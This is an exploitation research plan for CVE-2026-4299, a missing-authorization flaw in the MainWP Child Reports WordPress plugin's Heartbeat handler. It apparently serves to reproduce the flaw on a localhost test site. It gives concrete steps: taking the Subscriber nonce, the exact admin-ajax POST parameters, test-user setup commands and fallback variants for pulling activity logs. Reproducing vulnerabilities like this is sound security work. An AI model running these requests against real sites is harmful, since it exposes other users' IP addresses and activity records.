Exploitation Research Plan: CVE-2026-4299 (MainWP Child Reports)

1. Vulnerability Summary

The MainWP Child Reports plugin (up to version 2.2.6) is vulnerable to Information Disclosure due to missing authorization checks in its implementation of the WordPress Heartbeat API.

The vulnerability exists in the Live_Update::heartbeat_received() function (located in classes/class-live-update.php, referenced via $this->live_update in classes/class-admin.php). While the WordPress Heartbeat API is restricted to authenticated users, the plugin fails to verify if the requesting user possesses the necessary capabilities (specifically view_stream) before returning activity log data. This allows any authenticated user, including those with Subscriber privileges, to access the site's activity logs, which include user names, IP addresses, and detailed action summaries.

2. Attack Vector Analysis

• Endpoint: /wp-admin/admin-ajax.php
• Action: heartbeat (Standard WordPress Heartbeat action)
• Vulnerable Parameter: data[wp-mainwp-stream-heartbeat]
• Authentication: Required (Subscriber level or higher).
• Preconditions:
  • The plugin must be active.
  • There must be activity log entries stored in the database (the wp_mainwp_stream table).

3. Code Flow

1. Registration: In WP_MainWP_Stream\Admin::init(), the Live_Update class is instantiated.
2. Hook: The Live_Update class registers a filter on heartbeat_received.
3. Trigger: A user sends an AJAX POST request to admin-ajax.php with action=heartbeat.
4. Processing: WordPress core validates the heartbeat-nonce. If valid, it fires the heartbeat_received filter, passing the data array.
5. Vulnerable Sink: Live_Update::heartbeat_received( $response, $data ) checks if $data['wp-mainwp-stream-heartbeat'] is set.
6. Execution: If the key exists, the function queries the database for recent activity log records using wp_mainwp_stream_get_instance()->db->get_records() and appends them to the $response array.
7. Failure: The function performs no check against current_user_can( 'view_stream' ) or current_user_can( 'manage_options' ) before fetching and returning the logs.

4. Nonce Acquisition Strategy

The Heartbeat API requires the standard WordPress core heartbeat-nonce. This nonce is automatically generated for any logged-in user and is available in the WordPress admin dashboard.

1. Login: Authenticate as a Subscriber user.
2. Navigate: Go to a standard admin page accessible to Subscribers, such as /wp-admin/profile.php.
3. Extract: Use the browser_eval tool to extract the nonce from the wp.heartbeat JavaScript object or from the localized script data.
   • Target: window.heartbeatSettings.nonce or window.wp.heartbeat.settings.nonce.
   • Alternative: Extract from the hidden input #heartbeat-nonce if present.

5. Exploitation Strategy

The goal is to trigger the Heartbeat response containing the activity logs.

Step-by-Step Plan:

1. Setup Test Data: Generate some log activity (e.g., create a post, update settings).
2. Authenticate: Log in as a Subscriber user.
3. Acquire Nonce: Navigate to /wp-admin/profile.php and extract the heartbeat-nonce.
4. Craft Heartbeat Request:
   • Method: POST
   • URL: http://localhost:8080/wp-admin/admin-ajax.php
   • Content-Type: application/x-www-form-urlencoded
   • Body Parameters:
     • action: heartbeat
     • screen_id: profile (matches the page we are on)
     • _nonce: [EXTRACTED_NONCE]
     • interval: 15
     • data[wp-mainwp-stream-heartbeat]: true
5. Analyze Response: The response will be a JSON object. A successful exploit will contain a key named wp-mainwp-stream-heartbeat containing an array of activity log objects.

6. Test Data Setup

1. Create Activity: Log in as an Administrator and perform actions to populate the log:
   • wp option update blogname "Vulnerable Test Site"
   • wp post create --post_title="Evidence Post" --post_status=publish
2. Create Attacker: Create a subscriber user:
   • wp user create attacker attacker@example.com --role=subscriber --user_pass=password123
3. Verify DB: Ensure records exist in the table:
   • wp db query "SELECT count(*) FROM wp_mainwp_stream;"

7. Expected Results

A successful POST request to admin-ajax.php should return a 200 OK response with a JSON body similar to:

{
  "wp-mainwp-stream-heartbeat": [
    {
      "ID": "15",
      "message": "Updated option %s",
      "args": {"option": "blogname"},
      "summary": "Updated option blogname",
      "created": "2023-10-27 10:00:00",
      "user_id": "1",
      "connector": "settings",
      "context": "general",
      "action": "updated",
      "ip": "127.0.0.1"
    }
  ]
}

8. Verification Steps

1. HTTP Verification: Confirm the JSON response contains the summary and ip fields of recent logs.
2. CLI Verification: Compare the returned data with the actual database content:
   • wp stream query --fields=summary,ip
   • Compare the output of the CLI command with the JSON returned to the Subscriber user.

9. Alternative Approaches

• Different Screen IDs: If screen_id=profile is rejected, try screen_id=dashboard or screen_id=mainwp-reports-page.
• Data Payload: Some versions of Heartbeat handlers might expect specific sub-parameters inside data[wp-mainwp-stream-heartbeat], such as a timestamp for "since" queries. Try data[wp-mainwp-stream-heartbeat][last_time]=0.
• Missing Nonce: Check if the plugin erroneously allows requests without the _nonce if the action is slightly different, though unlikely for the Heartbeat API.